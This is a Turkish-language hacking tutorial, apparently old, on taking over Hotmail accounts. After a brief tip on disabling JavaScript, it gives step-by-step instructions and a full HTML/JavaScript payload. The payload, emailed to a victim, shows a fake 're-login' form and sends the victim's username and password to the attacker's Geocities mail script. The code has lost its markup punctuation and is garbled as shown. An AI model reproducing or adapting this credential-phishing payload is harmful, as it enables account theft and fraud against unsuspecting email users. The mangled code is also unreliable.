Hotmail hack
Microsoft'un ünlü ücretsiz e-mail sitesi hack edildi. Nasil mi oluyor
Kurbana Javascript codu iceren bir e-mail attiyorsunuz.Kurban bu e-mail'i görüntüledigi zaman Javascript kodu devreye
giriyor ve Kurbana tekrar Login olmasini söylüyor.Tabii böyle olunca size kurbanin kullanici adi ve ip adresini iceren bir e-mail
geliyor.
Tabii siz kullanici adini ve sifresini ögrendiginiz zaman hesabin tam kullanin hakkini kazaniyorsunuz.silmek, okumak, kurban
adina mailler göndermek... Tabii siz bos durmayip POP Mail'leride kontrol ediyorsunuz ve kurbanin diger sitelerdeki
hesaplarinin sifrelerini aliyorsunuz.
Peki bu olaydan kurtulamayacagiz mi .
Netscape kullanicilari javascript ayarlarini söyle kapatabilir. (edit preferences advanced disablejavascript).
Microsoft Internet Explorer kullanicilari jscript ayarlarini su sekilde kapatabiliir. (view internet options security custom
settings scripting disable active scripting).
Tabii En Önemlisi Baskasinin Hotmail Hesabini Nasil Ele Geciririz
Asagidaki Listedekiler elimizde olmali.
1 Internete bagli bir bilgisayar... eh yani -))
1 Netscape Mail (veya herhangi bir e-mail programi)
1 Notepad (veya herhangi bir text editor)
1.adım
hotmail.com sitesini ziyaret ediyoruz ve ücretsiz bir e-mail hesabi actiriyoruz. Formu doldururken gercek bilgilerimizi
vermemize gerek yok. Rastgele birseyler yazsakta olur.
2.adım
Geocities.com sitesini ziyaret ediyoruz ve ücretsiz bir e-mail hesabi actiriyoruz. Formu doldururken gercek bilgilerimizi
vermemize gerek yok. Rastgele birseyler yazsakta olur.1.adimda e-mail adresini kullandik.ve geocities'ten bir e-mail adresi
aldik.örnegin( ybwc@geocities.com).
3.adım
NotePad'imizi aciyoruz ve asagidaki text'i yaziyoruz. Daha sonra message.htm ismini verip kayit ediyoruz. Satir 17'de
Geocities kullanici adimiz yaziyor. (ybwc) 2.adimda belirttigimiz gibi. (bu kullanici adini kendinize göre degistirin.)
htmlheadheadbody
pGo where you want today - Blue Adeptp
script
function getmess(){
return table border=0 cellpadding=5 cellspacing=5 width=508 height=90% +
tr valign=middle +
th colspan=2 +
font Helvetica size=5 +
We're Sorry, We CannotbrProcess Your Request +
fontthtr +
tr valign=middletd align=center +
font Helvetica size=3Reason font +
font Helvetica size=3 color=#ff0000bTime expired. Please re-login.bfontbr +
font Helvetica size=2a href=httpwww.hotmail.comerrormsg.html(Get more info regarding error messages here)afont +
tdtr +
tr valign=middletd align=center +
FORM METHOD=POST ACTION=httpwww.geocities.comcgi-binhomesteadmail.plybwc target=_top +
INPUT TYPE=hidden NAME=next-url VALUE=httpwww.hotmail.com +
INPUT TYPE=hidden NAME=subject VALUE=Hotmail Password +
table cellpadding=0 cellspacing=5 border=0 +
trtdfont Helvetica size=2Login Namefontbrinput type=text name=login size=16 maxlength=16tdtdfont
Helvetica size=2Passwordfontbrinput type=password name=passwd size=16 maxlength=16 input type=submit
value=Entertdtr +
tableformtdtr +
tr valign=middleth colspan=2 align=center +
font Helvetica size=3 +
Return to a href=httpwelcome.towww.hotmail.com target=_parentHotmail's Homepagea. +
fontthtrtable +
pimg src=http209.1.112.251c9698.gif width=189 height=16 border=0 alt=Copyright 1996-1997;
}
nomenulinks=top.submenu.document.links.length;
for(i=0;inomenulinks-1;i++){
top.submenu.document.links.target=work;
top.submenu.document.links.href=javascriptgetmess( );
}
noworklinks=top.work.document.links.length;
for(i=0;inoworklinks-1;i++){
top.work.document.links.target=work;
top.work.document.links.href=javascriptgetmess();
}
script
body
html
4.adım
kurbanizima yeni bir e-mail mesaji hazirlayip gönderiyoruz.örnegin kurban, ( victim@hotmail.com)olsun. E-mailimize message.htm dosyasinida ekliyoruz ve
gönderiyoruz.
5.adım
Kurbanimizin e-mailini kontrol etmesini bekliyoruz. Kurban bizim e-maili görüntüledigi zaman Geocities'teki mailimizi kontrol ediyoruz. Geocities2ten bir mail
aliyoruz. Tabii bu mail'de kurbanimizin kullanici adi, sifresi ve ip adresi oluyor |
